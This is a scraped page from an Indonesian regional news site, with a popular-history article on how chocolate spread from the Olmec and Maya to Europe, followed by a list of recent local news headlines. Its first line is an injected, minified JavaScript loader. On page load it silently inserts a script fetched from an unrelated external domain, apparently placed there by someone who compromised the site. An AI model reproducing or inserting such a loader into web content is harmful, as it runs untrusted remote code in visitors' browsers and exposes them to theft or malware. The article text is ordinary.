(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kanal Pustaka

Darimana Awal Mula Coklat yang Sering Kita Makan?


Tahukah kamu darimana asalnya coklat yang sering kita makan? Coklat diperkirakan sudah dikenal sebagai minuman sejak 1100 – 1400 tahun SM. Coklat yang berasal dari tanaman kakao (Theobroma cacao) dikenal dengan nama “kakawa” oleh suku “Olmec” yang berasal dari teluk Meksiko dan cikal bakal dari peradaban MesoAmerika. Mereka sudah membudidayakan pohon-pohon Kakao.

Suku Maya kemudian mengadopsi kata “KAKAO”, dan membudidayakan di halaman rumah mereka. Biji kakao dihaluskan dan dicampur dengan berbagai bahan lalu dibuat minuman coklat, xocolātl yang berarti minuman pahit. Konsumsi minuman cokelat dianggap sebagai simbol status penting pada masa itu

Pohon kakao digambarkan secara jelas pada abad ke 9 oleh suku Maya, melalui lukisan-lukisan mural yang terdapat di Cacaxtla, Meksiko. Setelah kebudayaan Maya runtuh dan digantikan oleh suku Toltec dan Aztec, biji kakao menjadi komoditas utama perdagangan MesoAmerika.

Tahun 1502, ekspredisi bangsa Spanyol mencapai benua Amerika, orang Eropa pertama kali bertemu suku-suku MesoAmerika dan membawa emas, barang-barang, kebudayaan dan penduduk asli tersebut ke Eropa.

Minuman Coklat masuk ke Eropa melalui delegasi suku Maya Kekchi (berasal dari Guetemala) yang mengunjungi istana Raja Spanyol Pangeran Philip, pada tahun 1544 M. Dalam waktu seabad, Cokelat menjadi minuman favorit para bangsawan Eropa. Tahun 1657, dibuka rumah coklat pertama di London, yang menjadi tempat-tempat pertemuan kalangan bangsawan. Para kokipun berekperimen dengan mencampurkan kakao kedalam kue dan inilah pertama kalinya cokelat dimakan.

Minuman dan makanan cokelat berkembang pesat di Belgia dan Zwiss, hingga akhirnya dibawa keseluruh dunia. Dengan adanya Revolusi Industri, pembuatan cokelat yang dulunya mahal menjadi terjangkau untuk kalangan menengah ke bawah. Teknik-teknik baru juga membuat coklat menjadi bahan baku yang paling sering digunakan untuk menambah citarasa makanan dan minuman hingga saat ini.(cel/sumber: tahukahkamu.org)

Reporter:cel/sumber: tahukahkamu.org
Editor:Cell

Desy Arfianty

Recent Posts

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

2 jam ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

3 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

3 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

4 jam ago

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

4 jam ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

7 jam ago

This website uses cookies.